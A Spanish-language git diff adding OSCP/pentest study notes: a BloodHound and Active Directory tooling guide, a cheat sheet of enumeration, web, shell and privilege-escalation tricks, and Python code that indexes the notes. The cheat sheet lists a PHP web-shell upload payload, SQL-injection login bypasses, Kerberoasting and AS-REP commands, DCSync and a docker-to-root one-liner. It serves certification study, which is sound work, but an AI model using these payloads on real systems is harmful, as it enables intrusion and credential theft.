Te dibuja Active Directory **como un grafo**. Nodos = usuarios, grupos, máquinas. Aristas = relaciones (member of, admin de, puede leer LAPS, etc.). Luego le preguntas:
|
||||
|
||||
> "¿Cuál es el camino más corto desde **juan** hasta **Domain Admins**?"
|
||||
|
||||
Y te lo pinta. Te ahorra **días** de mirar listados de grupos a mano.
|
||||
|
||||
```
|
||||
┌─────────┐ MemberOf ┌──────────────┐
|
||||
│ juan ├─────────────►│ HelpDesk │
|
||||
└─────────┘ └──────┬───────┘
|
||||
│ AdminTo
|
||||
▼
|
||||
┌──────────────┐
|
||||
│ workstation42│
|
||||
└──────┬───────┘
|
||||
│ HasSession (admin con sesión activa aquí)
|
||||
▼
|
||||
┌──────────────┐
|
||||
│ ana │
|
||||
└──────┬───────┘
|
||||
│ MemberOf
|
||||
▼
|
||||
┌──────────────┐
|
||||
│ Domain Admins│ ← jackpot
|
||||
└──────────────┘
|
||||
```
|
||||
|
||||
### Componentes
|
||||
|
||||
```
|
||||
┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
|
||||
│ SharpHound (.exe)│ o │ bloodhound-python│ ────► │ JSON files │
|
||||
│ corre en víctima │ │ corre en Kali │ │ con datos AD│
|
||||
└──────────────────┘ └─────────────────┘ └──────┬───────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────┐
|
||||
│ BloodHound GUI │
|
||||
│ (en tu Kali) │
|
||||
│ + │
|
||||
│ Neo4j (base BD) │
|
||||
└──────────────────┘
|
||||
```
|
||||
|
||||
- **SharpHound** = el "recolector" que enumera AD. Hay versión `.exe` (subes a víctima) y `.py` (corres desde Kali si ya tienes creds y conectividad).
|
||||
- **BloodHound GUI** = la interfaz gráfica donde cargas el JSON y haces queries.
|
||||
- **Neo4j** = la base de datos del grafo (la GUI la necesita).
|
||||
|
||||
### Instalación en Debian
|
||||
|
||||
```bash
|
||||
sudo apt install -y bloodhound bloodhound.py
|
||||
```
|
||||
|
||||
```bash
|
||||
# Neo4j (la BD que necesita BloodHound)
|
||||
sudo apt install -y neo4j
|
||||
sudo systemctl start neo4j
|
||||
sudo neo4j-admin set-initial-password 'BloodHound1!'
|
||||
```
|
||||
|
||||
### Uso (workflow)
|
||||
|
||||
```bash
|
||||
# 1) Recolectar datos desde Kali (necesitas creds válidas)
|
||||
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All
|
||||
# → genera varios .json en el directorio actual
|
||||
|
||||
# 2) Lanzar la GUI
|
||||
bloodhound
|
||||
# Login: neo4j / BloodHound1!
|
||||
# Arrastras los .json a la ventana → quedan cargados
|
||||
|
||||
# 3) Queries útiles ya integradas:
|
||||
# - Find Shortest Paths to Domain Admins
|
||||
# - Find Kerberoastable Accounts
|
||||
# - Find AS-REP Roastable Users
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Resumen TL;DR
|
||||
|
||||
| Pregunta | Respuesta |
|
||||
|---|---|
|
||||
| ¿Tengo GUI central? | **No**. Tu "GUI" es tener varios terminales abiertos. BloodHound es la única tool con GUI propia. |
|
||||
| ¿Reverse shell? | `nc` + `Invoke-ConPtyShell` desde la víctima. Lo recibes en `nc -lvnp 4444`. |
|
||||
| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
|
||||
| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
|
||||
| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
|
||||
| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
|
||||
| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |
|
||||
232
nucleo/saber/conocimiento/trucos_trampas.md
Normal file
232
nucleo/saber/conocimiento/trucos_trampas.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
# Trucos y Trampas — OSCP / Pentest
|
||||
|
||||
> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
|
||||
> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
|
||||
> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.
|
||||
|
||||
---
|
||||
|
||||
## Trampas de enumeración (donde la gente pierde 4 horas)
|
||||
|
||||
```
|
||||
─ Olvidar UDP ────────────────────────────────────────────
|
||||
nmap -sU --top-ports 50 -T4 IP
|
||||
SNMP (161), TFTP (69), NTP (123) suelen dar oro
|
||||
|
||||
─ Olvidar puertos altos ──────────────────────────────────
|
||||
nmap solo escanea top 1000 por defecto
|
||||
SIEMPRE: nmap -p- --min-rate=5000 IP (los 65535)
|
||||
|
||||
─ Olvidar vhosts/subdominios ─────────────────────────────
|
||||
Si te encuentras "default Apache page", prueba:
|
||||
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
|
||||
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
|
||||
|
||||
─ /etc/hosts no actualizado ──────────────────────────────
|
||||
Si la web carga rara o redirige, mira el "Host:" header
|
||||
Añade el dominio a /etc/hosts SIEMPRE que aparezca
|
||||
|
||||
─ HTTPS revela hostnames ─────────────────────────────────
|
||||
openssl s_client -connect IP:443
|
||||
El cert te puede chivar el dominio real
|
||||
|
||||
─ Wordlists pequeñas ─────────────────────────────────────
|
||||
common.txt = junior level
|
||||
Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
|
||||
gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas web
|
||||
|
||||
```
|
||||
─ "robots.txt es perezoso" ───────────────────────────────
|
||||
Mira también: sitemap.xml, .git/, .svn/, .htaccess,
|
||||
.DS_Store, backup/, old/, dev/, test/, admin/
|
||||
|
||||
─ Source HTML / JS ───────────────────────────────────────
|
||||
Ctrl+U siempre. Comentarios con creds, paths, endpoints
|
||||
JS embebidos con APIs ocultas (LinkFinder, JSparser)
|
||||
|
||||
─ LFI → RCE ──────────────────────────────────────────────
|
||||
Si tienes LFI básico, prueba:
|
||||
/proc/self/environ (con User-Agent malicioso)
|
||||
/var/log/apache2/access.log (poison + curl con UA payload)
|
||||
php://filter/convert.base64-encode/resource=index.php
|
||||
data://, expect://, phar:// (PHP wrappers)
|
||||
|
||||
─ Upload "filtrado" ──────────────────────────────────────
|
||||
Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
|
||||
Magic bytes: GIF89a;<?php system($_GET['c']); ?>
|
||||
Burp → cambia Content-Type a image/jpeg
|
||||
.htaccess para reasignar handler
|
||||
|
||||
─ SQLi sin sqlmap ────────────────────────────────────────
|
||||
Aprende manual primero. sqlmap a veces miente.
|
||||
Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
|
||||
Time-based: ' AND SLEEP(5)-- -
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas de shell
|
||||
|
||||
```
|
||||
─ Shell rota = tortura ────────────────────────────────────
|
||||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||||
Ctrl+Z
|
||||
stty raw -echo; fg
|
||||
export TERM=xterm
|
||||
stty rows 40 columns 120
|
||||
(rows/cols los sacas con "stty size" en TU kali)
|
||||
|
||||
─ Listener equivocado ────────────────────────────────────
|
||||
nc clásico para Linux victim
|
||||
ncat --ssl para evitar IDS
|
||||
stty raw -echo + nc para Windows ConPtyShell
|
||||
|
||||
─ Egress filtering ───────────────────────────────────────
|
||||
El firewall del objetivo bloquea ciertos puertos
|
||||
PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privesc Linux — los 10 olvidados
|
||||
|
||||
```
|
||||
1. SUID exóticos → find / -perm -4000 2>/dev/null
|
||||
(y luego GTFOBins cada uno)
|
||||
2. sudo -l → SIEMPRE primero, sin password
|
||||
3. Capabilities → getcap -r / 2>/dev/null
|
||||
(cap_setuid en python/perl = root)
|
||||
4. Cron escribibles → cat /etc/crontab, /var/spool/cron
|
||||
Scripts que tú puedes editar
|
||||
5. Wildcard injection→ "tar czf /backup/* " con file --checkpoint
|
||||
6. PATH abuse → si un script SUID llama "ps" sin ruta
|
||||
absoluta, creas ./ps malicioso
|
||||
7. NFS no_root_squash→ showmount -e ; montas y subes SUID
|
||||
8. Docker group → si estás en grupo "docker", eres root:
|
||||
docker run -v /:/mnt -it alpine chroot /mnt
|
||||
9. Kernel exploits → último recurso. DirtyCow, DirtyPipe
|
||||
(uname -a; searchsploit kernel x.x)
|
||||
10. Caps de archivo → /var/backups, /etc/passwd escribible,
|
||||
/etc/shadow legible
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privesc Windows — los 10 olvidados
|
||||
|
||||
```
|
||||
1. whoami /priv → busca SeImpersonate, SeAssignPrimaryToken
|
||||
→ JuicyPotato, PrintSpoofer, GodPotato
|
||||
2. Unquoted services → wmic service get name,pathname,startmode
|
||||
Path con espacios sin comillas + carpeta
|
||||
escribible = exe propio
|
||||
3. AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
|
||||
Windows\Installer
|
||||
Si ambos = 1 → msi propio = SYSTEM
|
||||
4. Service permisos → accesschk.exe -uwcqv user *
|
||||
SERVICE_CHANGE_CONFIG = ownership
|
||||
5. Credenciales en disco→ recurse find:
|
||||
Unattend.xml, sysprep.inf, web.config,
|
||||
cmdkey /list, registry SAM/SYSTEM
|
||||
6. AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
|
||||
CurrentVersion\Winlogon
|
||||
7. Pass spraying → la misma pass del user normal contra
|
||||
admin, administrator, sa, sysadmin
|
||||
8. WSL / OpenSSH server → veces hay credenciales en .bash_history
|
||||
9. Scheduled tasks → schtasks /query /fo LIST /v
|
||||
Tareas con scripts editables
|
||||
10. UAC bypass + token impersonation
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Active Directory — los 7 caminos que SIEMPRE pruebas
|
||||
|
||||
```
|
||||
1. Anonymous SMB → smbclient -L //IP -N
|
||||
nxc smb IP -u "" -p ""
|
||||
2. AS-REP Roasting → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
|
||||
(usuarios con "Do not require pre-auth")
|
||||
3. Kerberoasting → impacket-GetUserSPNs dominio/user:pass -request
|
||||
(cuentas de servicio con SPN)
|
||||
4. GPP cpassword → buscar en \\DC\SYSVOL\<dom>\Policies\
|
||||
Groups.xml con cpassword (rotos en clave AES fija)
|
||||
5. LAPS → nxc ldap IP -u u -p p --module laps
|
||||
6. ACL abuses → BloodHound te los pinta:
|
||||
GenericAll, WriteDACL, AddMember, ForceChangePassword
|
||||
7. DCSync → con permisos DS-Replication, dumpear todo el dominio
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trampas de "examen real" (anti-pánico)
|
||||
|
||||
```
|
||||
─ Time management ────────────────────────────────────────
|
||||
24h ≠ 24h. Duermes 6h. Comes. Te duchas.
|
||||
Regla: 1.5h sin progreso = cambia de máquina.
|
||||
Cierra y vuelve más tarde con cabeza fresca.
|
||||
|
||||
─ Documentación EN VIVO ──────────────────────────────────
|
||||
Captura TODO con Flameshot/Greenshot mientras lo haces.
|
||||
No al final. Al final no recuerdas el comando exacto.
|
||||
Cada flag con hostname visible (ipconfig/ifconfig).
|
||||
local.txt = user proof, proof.txt = root proof.
|
||||
|
||||
─ Reutilización de credenciales ──────────────────────────
|
||||
La pass del usuario A muchas veces vale para usuario B.
|
||||
PRUEBA siempre cada pass que pillas contra TODOS los hosts.
|
||||
|
||||
─ El AD set es 40 puntos seguidos ────────────────────────
|
||||
3 máquinas encadenadas. Si te atascas en máquina 1,
|
||||
no avanzas en 2 y 3. Empieza por ahí con tiempo.
|
||||
|
||||
─ Standalones independientes ─────────────────────────────
|
||||
3 máquinas independientes de 20pts cada una.
|
||||
user (10pt) + root (20pt). Saca user de las 3
|
||||
ANTES de obsesionarte con root de una.
|
||||
|
||||
─ Reporte cuenta ─────────────────────────────────────────
|
||||
Sin reporte, no apruebas, aunque saques 100 puntos
|
||||
técnicos. 24h después del examen. Markdown template:
|
||||
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
|
||||
|
||||
─ Metasploit limitado ────────────────────────────────────
|
||||
Puedes usarlo solo en UNA máquina.
|
||||
meterpreter post-explotation no cuenta como "uso"
|
||||
solo el initial foothold cuenta.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Recursos públicos donde sí está todo esto
|
||||
|
||||
| Recurso | Por qué importa |
|
||||
|---|---|
|
||||
| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
|
||||
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
|
||||
| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
|
||||
| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
|
||||
| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
|
||||
| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
|
||||
| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
|
||||
| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |
|
||||
|
||||
---
|
||||
|
||||
## Truco meta de meta-trucos
|
||||
|
||||
El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:
|
||||
|
||||
```
|
||||
Enumeración exhaustiva → vector → foothold →
|
||||
PrivEsc con script automatizado + revisión manual →
|
||||
documentar antes de pasar a siguiente máquina
|
||||
```
|
||||
|
||||
La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
|
||||
|
|
@ -191,9 +191,31 @@ def construye(solo_cuenta=False, solo_cofre=False):
|
|||
print(f" {len(sistema)} entradas de sistema...", flush=True)
|
||||
print(f" LINUX {n_cmd:4d} comandos {n_srv} servidores {n_nav} navegador")
|
||||
|
||||
todo = fichas + fragmentos + sistema
|
||||
# El pack de metodologia que VIENE con el repo (conocimiento/). Es publico y
|
||||
# esta scrubeado, asi que un clon recien hecho —sin apuntes propios de COFRE—
|
||||
# ya sabe de pentesting. En la maquina del usuario se solapa con sus apuntes
|
||||
# y el deduplicado de busca lo colapsa.
|
||||
conocimiento = []
|
||||
base_con = os.path.join(os.path.dirname(os.path.abspath(__file__)), "conocimiento")
|
||||
if os.path.isdir(base_con):
|
||||
for raiz, _, ficheros in os.walk(base_con):
|
||||
m = re.match(r"^\d{2}\s*-\s*(.+)$", os.path.basename(raiz))
|
||||
tema = m.group(1).strip().lower() if m else ""
|
||||
for fich in ficheros:
|
||||
if not fich.endswith(".md"):
|
||||
continue
|
||||
for trozo in trocea(os.path.join(raiz, fich)):
|
||||
conocimiento.append({
|
||||
"tipo": "metodologia", "herramienta": fich[:-3],
|
||||
"perfil": "PENTESTERS", "tema": tema,
|
||||
"fichero": os.path.join("conocimiento", os.path.relpath(
|
||||
os.path.join(raiz, fich), base_con)),
|
||||
"texto": trozo})
|
||||
print(f" CONOCIMIENTO {len(conocimiento):5d} fragmentos (pack del repo)")
|
||||
|
||||
todo = fichas + fragmentos + sistema + conocimiento
|
||||
print(f"\n total: {len(fichas)} fichas + {len(fragmentos)} apuntes + "
|
||||
f"{len(sistema)} sistema = {len(todo)} entradas")
|
||||
f"{len(sistema)} sistema + {len(conocimiento)} conocimiento = {len(todo)} entradas")
|
||||
if solo_cuenta:
|
||||
return 0
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue